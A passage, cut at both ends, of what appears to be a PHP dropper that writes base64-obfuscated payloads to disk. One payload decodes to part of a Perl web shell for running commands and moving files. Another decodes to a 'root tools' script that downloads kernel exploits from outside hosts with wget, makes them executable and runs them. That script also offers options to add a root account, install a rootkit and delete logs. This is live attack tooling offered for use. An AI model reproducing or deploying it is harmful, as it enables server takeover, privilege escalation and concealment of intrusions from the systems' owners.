LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwo
JEZpbGVVcmwpID0gQF87CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsK
CQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2Vy
CgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJ
CSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZv
PWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBD
T05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMi
KTsKCQlwcmludCA8PEVORDsKPGNvZGU+ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJy
PgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0i
JERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCjwvY29kZT4KRU5ECgkJJlByaW50Q29tbWFu
ZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNu
J3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxl
ZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRG
b3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz
ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5
IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv
d3Nlcgp7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZp
bGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlu
bW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0
YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15c
XF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsK
CQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1E
aXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8
U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4g
ZmlsZQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRv
IGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3Jt
OwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhp
cyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBk
aXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91
Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBh
bHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2Fz
ZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBw
YXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
XC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmls
ZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYo
JFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAu
PSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
aGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxl
KTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlBy
aW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVw
bG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMg
YSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBp
dCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBV
cGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQg
Zm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVy
KCJmIik7CgkJJlByaW50RmlsZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1
cm47Cgl9CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHBy
b2Nlc3MKCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERp
ci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBm
aWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRD
dXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikk
ITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0
aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qg
c3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBu
ZSAib3ZlcndyaXRlIikKCXsKCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVh
ZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihv
cGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklM
RSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xv
c2UoVVBMT0FERklMRSk7CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRl
cy48YnI+IjsKCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxz
ZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CglwcmludCAiPC9jb2RlPiI7
CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2Vy
IHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNp
ZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQoj
IGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHBy
b3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVk
LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxl
IGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2Zl
ckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3du
bG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgoJIyBnZXQgZnVsbHkg
cXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAm
ICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAk
VHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJn
ZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRU
YXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEg
ImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIo
JFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBh
Z2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExv
Y2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJf
TkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9
OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9u
ID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFj
dGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNo
IHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNo
b3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dn
ZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEg
ImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJm
b3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBy
dW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxv
YWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNp
ZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUK
ewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2Fu
dHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CgoK');
$write = fwrite ($file ,$sa);

/*
$file = fopen($dir."jeentel" ,"w+");
$sa=file_get_contents('http://hotmoail.comyr.com/priv8/jeentel');
$write = fwrite ($file ,$sa);
*/

$file = fopen($dir."1.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC13CgppZihAQVJHViA8IDEpeyAKcHJpbnQgcSAgICggCiAKIz09PT09PT09PT09PT1bIHJPb3QgVG9vbHogXT09PT09PT09PT09PT0jIAp8IHVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpIHwKfCAgICAgICAgICAgIEdldHxyT290IHYxLjAgICAgICAgICAgICAgICB8CnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAp8IFRITksgMiA6IFNhckJvVDUxMSBTYWRIYWNLZXIgU2lMdmVyLjQ3IHwgCnwgaS1IbXggVGhlIGluamVjdG9yIFoxZCBOby1RclFyIEZveCBIYUMgfCAKIz09PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT0jCnwgTG9jYWwgcm9vdCAyMDEwIEZyZWVCc0QgICAgICAgICAgIC03IHwgICAgICAgICAgICAgCnwgTG9jYWwgcm9vdCBhTEwgIEV4cGxvaXQgICAgICAgICAgIC04IHwgICAgICAgICAKfCBMb2NhbCBSb290IFByaXZpbGVnZSBFc2NhbGF0aW9uICAgLTkgfCAgICAgICAgIAojPT09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PSMKfCAgICBNb3JlIGFib3V0IEdlVCByT29UIHZlcnNpb24gMS4wIC1hYiB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAp8ICAgICAgICAgIEhlbHAgTXkgaSBuZWVkIGhlbHAgICAgICAgLWhlIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0jCiM9PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT09IyAKfCB1aWQ9MChyb290KSAgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCl8CnwgTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IC0xICAgfAp8IExvY2FsIHJvb3QgMjAwOSBpNjg2ICAgMi42LjE4LTEyOCAtMiAgIHwKfCBMb2NhbCByb290IDIwMDggICAgICAgIDIuNi4xOCAgICAgLTMgICB8CnwgTG9jYWwgcm9vdCAyMDA3IHg4Nl82NCAyLjYuMjItNiAgIC00ICAgfAp8IGFsbCBMb2NhbCByb290ICAgICAgICAgICAgICAgICAgICAtNSAgIHwKIz09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PT0jCnwgICAgICAgICAgIEFkZCByb290IEFjY291bnQgICAgICAgIC1yICAgfAp8ICAgICAgICAgIGFkZCByb290a2l0IHY0LXRlYW0gICAgICAtdCAgIHwKfCAgICAgICAgICAgICAgcm0gLXJmIExvZyAgICAgICAgICAgLXJtICB8CiM9PT09PT09PT09PT1bICAgIGFib3V0ICAgXT09PT09PT09PT09PT09IyAKfCAgIEdlVCByT29UIEJ5IE9yNG5HLk00biB2ZXJzaW9uIDEuMCAgICB8IAp8ICAgIHByaXY4dGUgWyBAIF0gSG90bWFpbCBbIC4gXSBjb20gICAgIHwgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IyAKICAgICAgIHNlYzRldmVyLmNvbSB8IHY0LXRlYW0uY29tICAgICAgICAgICAgICAJCQkJCQkJCSAgIAopOwoKZXhpdDsKICAgICB9CgppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiYWRkIFNoZWxsIHRvb2xzIFsgdCBdXG4iOwpzeXN0ZW0gIndnZXQgaHR0cCI7CnN5c3RlbSAiY2QgL3Vzci9iaW47Y2htb2QgK3MgY2F0IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKCgogICAgIH0gCgppZiAoJEFSR1ZbMF0gPX4gIi0xIiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IFsgMSBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMSI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0xIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0xIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQoKaWYgKCRBUkdWWzBdID1+ICItMiIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwOSBpNjg2IDIuNi4xOC0xMjggIFsgMiBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0yIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0yIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkgCgkgCmlmICgkQVJHVlswXSA9fiAiLTMiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDggaTY4NiAyLjYuMTggIFsgMyBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0zIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkKCSAKaWYgKCRBUkdWWzBdID1+ICItNCIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwNyB4ODZfNjQgMi42LjIyLTYgWyA0IF1cbiI7CnN5c3RlbSAicHdkIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L0xvY2Fsei00IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgTG9jYWx6LTQiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vTG9jYWx6LTQiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQoJIAppZiAoJEFSR1ZbMF0gPX4gIi03IiApIAogICAgICAgICAgewpwcmludCAgIkxvY2FsIHJvb3QgMjAxMCBGcmVlQnNEIFsgYnNkIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvbG9jNGwiOwpzeXN0ZW0gImNobW9kIDc3NyBsb2M0bCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvYnNkbG9jYWwiOwpzeXN0ZW0gImNobW9kIDc3NyBic2Rsb2NhbCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvRnJlZUJTRG1hc3Rlci5wYXNzd2QuYyI7CnN5c3RlbSAiY2htb2QgNzc3IEZyZWVCU0RtYXN0ZXIucGFzc3dkLmMiOwogICAgIH0KCmlmICgkQVJHVlswXSA9fiAiLTgiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IGFMTCBFeHBsb2l0IFsgcHJpIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi40LjIwIjsKc3lzdGVtICJjaG1vZCA3NzcgMi40LjIwIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L2FsbC8yLjQuMjkiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjQuMjkiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNC4zNCI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNC4zNCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi42LjguYyI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNi44LmMiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNi42LTM0LmMiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjYuNi0zNC5jIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpwcmludCAiXHQgb2sgbm93IHlvdSBjYW4gdHJheSBhbnkgTG9jYWwiOwogICAgIH0JIAoJIAppZiAoJEFSR1ZbMF0gPX4gIi05IiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgUm9vdCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBbIHhwbCBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAncHJpbnRmICJpbnN0YWxsIHVwcm9iZXMgL2Jpbi9zaCIgPiBleHBsb2l0LmNvbmY7IE1PRFBST0JFX09QVElPTlM9Ii1DIGV4cGxvaXQuY29uZiIgc3RhcHJ1biAtdSB3aGF0ZXZlcic7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgaWYgKCRBUkdWWzBdID1+ICItNSIgKSAKICAgICAgICAgIHsKCQkgIAoJCSAgCiBzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvMjAxMC0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMTAtMSIpOwpzeXN0ZW0oIi4vMjAxMC0xIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuY2xlYXJ3YXRlcmNvdHRhZ2VzLmNvbS9tb2R1bGVzLzIwMTAtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTIiKTsKc3lzdGVtKCIuLzIwMTAtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LmNsZWFyd2F0ZXJjb3R0YWdlcy5jb20vbW9kdWxlcy9saW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oImNobW9kIDc3NyBsaW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vbGludXgtcmRzLWV4cGxvaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvaS1jYW4taGF6LW1vZGhhcmRlbiIpOwpzeXN0ZW0oImNobW9kIDc3NyBpLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiLi9pLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgkJICAKCQkgIHN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNvbGFyZW5zLmNvbS90ZW1wbGF0ZXMvYmVlei8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOyAKc3lzdGVtKCIuLzIuNi